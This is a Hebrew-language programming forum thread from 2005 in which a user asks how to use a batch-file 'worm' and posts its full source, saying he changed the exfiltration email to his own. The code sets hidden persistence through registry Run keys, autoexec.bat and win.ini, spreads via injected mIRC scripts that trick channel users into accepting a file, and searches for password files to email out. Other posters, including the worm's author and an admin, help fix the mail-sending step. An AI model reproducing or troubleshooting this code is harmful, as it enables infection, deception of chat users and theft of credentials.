אני רוצה להבין כיצד אני משתמש בה..?
תודה!
ראשי > תיכנות > אפשר עזרה בקימפול התולעת של cp (תולעת אצווה)
אני רוצה להבין כיצד אני משתמש בה..?
תודה!
תוכל להביא את הקוד (יכול להיות שאני יודע על מה אתה מדבר, אבל ליתר בטחון תביא את הקוד)
שיניתי את הכתובת אימייל שמקבלת לשלי..
REM r3x0r- Written by cp77fk4r aka Empty0pagE aka 3gGDr0pp3r aka eXt4zZa 03/09/04.
:Main
if exist %windir%\%r3x0r% goto Eov
set r3x0r=%random%.bat
ren %0 %r3x0r%
echo set r3x0r=%r3x0r% >> %HOMEDRIVE%\autoexec.bat :Deploy
copy %0 "%windir%\system32\drivers\etc"
attrib +h %windir%\system32\drivers\etc\%r3x0r%
copy %0 "%windir%\system32\systemprofile\"
attrib +h %windir%\system32\systemprofile\%r3x0r%
copy %0 %windir%
attrib +h %windir%\%r3x0r%
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "win32dll" /d "if not exist %windir%\%r3x0r% copy "%windir%\system32\drivers\etc" %windir%&call %windir%\%r3x0r%
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "key" /d "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "hkey" /d "HKCU"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "command" /d "if not exist "%windir%\%r3x0r% copy %windir%\system32\drivers\etc" %windir%&call %windir%\%r3x0r%
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "item" /d "r3x0r"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg\win32dll" /v "inimapping" /d "0"
echo if not exist %windir%\system32\drivers\etc\%r3x0r% call %windir%\system32\systemprofile\%r3x0r% >> %HOMEDRIVE%\autoexec.bat
echo if not exist %windir%\system32\drivers\etc\%r3x0r% copy %windir%\system32\systemprofile\%r3x0r% %windir%\system32\drivers\etc >> %HOMEDRIVE%\autoexec.bat
echo if not exist %windir%\%r3x0r% call %windir%\system32\drivers\etc\%r3x0r% >> %HOMEDRIVE%\autoexec.bat
echo if not exist %windir%\r3x0r.bat copy %windir%\system32\drivers\etc %windir% >> %HOMEDRIVE%\autoexec.bat
attrib +h %HOMEDRIVE%\autoexec.bat
echo [Windows] >> %windir%\win.ini
echo if not exist %windir%\system32\drivers\etc\%r3x0r% call %windir%\system32\systemprofile\%r3x0r% >> %windir%\win.ini
echo if not exist %windir%\system32\drivers\etc\%r3x0r% copy %windir%\system32\systemprofile\%r3x0r% %windir%\system32\drivers\etc >> %windir%\win.ini
echo if not exist %windir%\%r3x0r% call %windir%\system32\drivers\etc\%r3x0r% >> %windir%\win.ini
echo if not exist %windir%\%r3x0r% copy %windir%\system32\drivers\etc %windir% >> %windir%\win.ini
attrib +h %windir%\win.ini
:Irc
for %%i in (c,d,e,f,g) do (for %%a in (
%%i:\mirc\
%%i:\mirc32\
%%i:\Omegascript\
%%i:\progra~1\mirc\
%%i:\progra~1\mirc32\
%%i:\progra~1\Omegascript\
) do (for %%z in (mirc.exe,mirc32.exe) do (if exist %%a%%z Set Mp=%%a& Set Dmp=%%i:& Goto IrcInf )))
goto FndPsFl:
:IrcInf
if ’%0’==’%r3x0r%’ copy %0 %Mp%
if ’%0’==’r3x0r’ copy %0.bat %Mp%
if not exist %mp%%r3x0r% copy %cd%\%r3x0r% %mp%
attrib +h %mp%%r3x0r%
%Dmp%
cd %Mp%
Set {={& Set }=}
if exist Temp.txt Ren Temp.xxx
echo on *:join:*: %{% >> Temp.txt
echo var %ooo 1 >> Temp.txt
echo while (%ooo <= $nick($chan,0)) %{% >> Temp.txt
echo if ($nick($chan,%ooo) != $me) %{% >> Temp.txt
echo /timer 1 2 /.msg $nick($chan,%ooo) Sup bro? remember me? >> Temp.txt
echo /timer 1 6 /.msg $nick($chan,%ooo) u can help me with some file? >> Temp.txt
echo /timer 1 9 /.msg $nick($chan,%ooo) just tell me what you see when you run him, thx bro! >> Temp.txt
echo /timer 1 11 /.msg $nick($chan,%ooo) Hoo, and dont be afraid- it’s not a virus. >> Temp.txt
echo /timer 1 13 //dcc send $nick($chan,%ooo) %r3x0r% >> Temp.txt
echo %}% >> Temp.txt
echo inc %ooo >> Temp.txt
echo %}% >> Temp.txt
echo %}% >> Temp.txt
Type Temp.txt >> script.ini
del Temp.txt
if exist Temp.xxx Ren Temp.txt
FndPsFl:
for %%i in (c,d,e,f,g) do (for %%a in (
%%i:\
%%i:\Pwd\
%%i:\Passwo~1\
%%i:\Progra~1\
%%i:\Progra~1\Pwd\
%%i:\Windows\
%%i:\Windows\Pwd\
%%i:\Windows\Passwo~1\
%%i:\DOCUME~1\%username%\
%%i:\DOCUME~1\%username%\Pwd\
%%i:\DOCUME~1\%username%\Passwo~1\
%%i:\DOCUME~1\%username%\Desktop\
%%i:\DOCUME~1\%username%\Desktop\Pwd\
%%i:\DOCUME~1\%username%\Desktop\Passwo~1\
) do (for %%k in (Pass.txt,Password.txt,Passwords.txt,Pwd.txt) do (if exist %%a%%k Set PssFldr=%%a%%k& Goto SndMl)))
Goto Eov
:SndMl
If exist Mail.vbs ren Mail.xxx
Echo set objSMail = CreateObject("CDONTS.NewMail") >> Mail.vbs
Echo objSMail.From = r3x0r@g0.com >> Mail.vbs
Echo objSMail.To =shaishai9@walla.co.il >> Mail.vbs
Echo objSMail.Subject = "%r3x0r%" >> Mail.vbs
Echo objSMail.Body = "%r3x0r%" >> Mail.vbs
Echo objSmail.AddAttachment "%Pssfldr%" >> Mail.vbs
Echo objSMail.Send >> Mail.vbs
Echo WScript.quit >> Mail.vbs
Call Mail.vbs
Dell Mail.vbs
If exist Mail.xxx ren Mail.vbs
:Eov
בכל אופן פתח קובץ טקסט רגיל
ושמור אותו בסיומת bat
זה הכל :)
אתם לא מבינים אני לא מקבל אימייל..
שיניתי את הכתובת של המקבל..
אליי ואני לא מקבל!
אני מניח שזה בגלל שהCDONTS לא מותקן אצלך.
אבל נה.. חפיף, יש גם אנשים כאלה.
תנסה פה, אני מקווה שזה יעזור לך:
http://www.webthang.co.uk/tuts/tuts_server/smtp1/smtp1_1.asp
(מדובר כאן על להתקין את זה על IIS, אבל העקרון די זהה).
מקסימום- תחפש מסביב, תעזר בגוגל.
אי אפשר לשלוח לך הודעות בפרטי יכ הוא מלא.. :)
" border="0">
(אם הלינק לא פועל-http://img260.echo.cx/img260/9328/1239hu.jpg)[ההודעה נערכה על-ידי cp77fk4r ב-22/04/2005 15:22:27]
חסר לי קובץ ב winxp אז אני לא יכול להתקין...ויש לי iwn xp מקורי ..
אבל חאין לי את הדיסק המקורי כאן..
אין עוד דרך להתקין?
אני למשל משתמש פה ברד-בורד ברכיב:
Set Mail = Server.CreateObject("Persits.MailSender")
תרגיש חופשי לחפש רכיב אחר ולהשתמש בו. מבחינת הקוד זה לא ישנה לך יותר מדי, רק את החלק של השליחת אימייל תצטרך לשנות.
בהצלחה[ההודעה נערכה על-ידי Admin ב-22/04/2005 17:11:20]